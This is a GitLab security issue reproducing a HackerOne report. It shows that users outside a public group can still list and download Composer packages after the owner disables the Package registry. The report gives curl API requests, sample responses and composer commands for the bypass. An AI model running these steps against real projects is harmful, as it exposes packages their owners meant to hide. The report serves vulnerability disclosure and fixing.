Skip to content

Public unauthorized users can install Compose packages from public project in a public group even if `Package registry` is turned off

Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #2037316 by js_noob on 2023-06-24, assigned to @greg:

Report | Attachments | How To Reproduce

Report

ReportSummary

Hello team, a project owner can turn off the Package registry, this should literally turn off all packages in the package registry, i.e. this should block all reads and writes to those packages. However, public unauthorized users (who don't belong to the project/group) can still install Composer packages despite having it turned off.

Report Steps to Reproduce

As an owner:

  1. Create a new public group
  2. Fork this project https://gitlab.com/jawadneeme1/composer-package-template into that group, make sure you fork it as a public project
  3. Change the content of composer.json and add your GROUP/PROJECT in the name field, and change the author name/email

image.png

  1. At this point a pipeline should be triggered, wait a couple of minutes then navigate to https://gitlab.com/GROUP/PROJECT/-/packages and verify that a composer package is created
  2. Navigate to https://gitlab.com/GROUP/PROJECT/edit and toggle off Package registry

image.png

  1. Verify that you can't access the packages. At this point, the owner can't access packages, so no one should be able to, right?

As another user: (not a member of neither the group nor the project)

  1. Navigate to https://gitlab.com/groups/GROUP/-/packages and verify that there are no packages you have access to. Now let's work around that and download the newly created package
  2. Send the following request to grab the package hash
curl --user ATTACKER_USERNAME:glpat-no-token "https://gitlab.com/api/v4/group/GROUP_ID/-/packages/composer/packages"  
  1. The response should look similar to, saving sha256 for later
{
    "packages": [],  
    "metadata-url": "/api/v4/group/69205950/-/packages/composer/p2/%package%.json",  
    "provider-includes": {  
        "p/%hash%.json": {  
            "sha256": "ee7de978548867615cdfa039d999ae4e1b4d29aee2a87e7b8e392ecfbb4b420d"  
        }  
    },  
    "providers-url": "/api/v4/group/69205950/-/packages/composer/%package%$%hash%.json"  
}
  1. Now let's retrieve the package name
curl --user ATTACKER_USERNAME:glpat-no-token "https://gitlab.com/api/v4/group/GROUP_ID/-/packages/composer/p/SHA_FROM_STEP_9"  
  1. The response should look similar to, save the name
{
    "providers": {  
        "private-group21213/composer-package-poc": {  
            "sha256": "6cedbdbcf1bc0f6fea8b0fc19b7781321ac40d9cea9198e77f760e050576f934"  
        }  
    }  
}
  1. Now let's retrieve the versions, and save a version for later
curl --user ATTACKER_USERNAME:glpat-no-token "https://gitlab.com/api/v4/group/GROUP_ID/-/packages/composer/p2/NAME_FROM_STEP_11"  
  1. Now we have both name and versions, let's download it
  2. In your terminal run the following in order
touch composer.json  
echo '{}' > composer.json  
composer config repositories.GROUP_ID composer https://gitlab.com/api/v4/group/GROUP_ID/-/packages/composer/packages.json  
composer config gitlab-token.gitlab.com ATTACKER_PERSONAL_ACCESS_TOKEN  
composer require PACKAGE_NAME:PACKAGE_VERSION  
  1. Verify that the package is installed successfully
Video/POC

bandicam_2023-06-24_21-29-46-228.mp4

Impact

Public unauthorized users can disclose, download, and use Composer packages that are supposedly hidden from every single user even their owner.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Summary

The researcher found a way to download compose package from user's disabled package registry in a public project and a public group.

Steps to Reproduce

  1. As the victim, sign in GitLab account -> Create a public group -> Fork https://gitlab.com/jawadneeme1/composer-package-template as a public project
  2. As the victim, in project Settings -> CI/CD -> Expand Runners -> Add a new project runner or use Shared Runners
  3. As the victim, in project main page, edit composer.json file -> Change name value with the victim's group name -> Commit Changes
  4. As the victim, when pipeline passed, go to project Deploy -> Package Registry. You can see package created
  5. As the victim, go to project Settings -> General -> Expand Visibility, project features, permissions -> Disable Package Registry -> Click Save changes
  6. As the victim, visit project Package Registry. You can see victim cannot view packages, as expected
  7. As the attacker, sign in GitLab account -> Go to victim's group -> Get victim's group ID
  8. As the attacker, run command with victim's group ID as {VICTIM_GROUP_ID}: curl --user ATTACKER_USERNAME:glpat-no-token "https://gitlab.com/api/v4/group/{VICTIM_GROUP_ID}/-/packages/composer/packages" -> Get sha256 value from response
  9. As the attacker, run command: curl --user ATTACKER_USERNAME:glpat-no-token "https://gitlab.com/api/v4/group/{VICTIM_GROUP_ID}/-/packages/composer/p/{PACKAGE_SHA256}", replace {VICTIM_GROUP_ID} with victim's group ID and {PACKAGE_SHA256} with sha256 value from Step 8 -> Get package name from response
  10. As the attacker, run command: curl --user ATTACKER_USERNAME:glpat-no-token "https://gitlab.com/api/v4/group/{VICTIM_GROUP_ID}/-/packages/composer/p2/{PACKAGE_NAME}", replace {VICTIM_GROUP_ID} with victim's group ID and {PACKAGE_NAME} with package name from Step 9 -> Get package version from response
  11. As the attacker, go to https://gitlab.com/-/profile/personal_access_tokens -> Generate an access token with all scopes selected
  12. As the attacker, run commands to download package:
  • Replace {VICTIM_GROUP_ID} with victim's group ID from Step 7

  • Replace {ATTACKER_ACECSS_TOKEN} with attacker's access token from Step 11

  • Replace {PACKAGE_NAME} with target package name from Step 9

  • Replace {PACKAGE_VERSION} with target package version from Step 10

    echo '{}' > composer.json
    composer config repositories.{VICTIM_GROUP_ID} composer 
    https://gitlab.com/api/v4/group/{VICTIM_GROUP_ID}/-/packages/composer/packages.json
    composer config gitlab-token.gitlab.com {ATTACKER_ACECSS_TOKEN}
    composer require {PACKAGE_NAME}:{PACKAGE_VERSION}
  1. As the attacker, go to directory ./vendor/{VICTIM_GROUP_NAME}. You can see downloaded package.
Edited by Greg Myers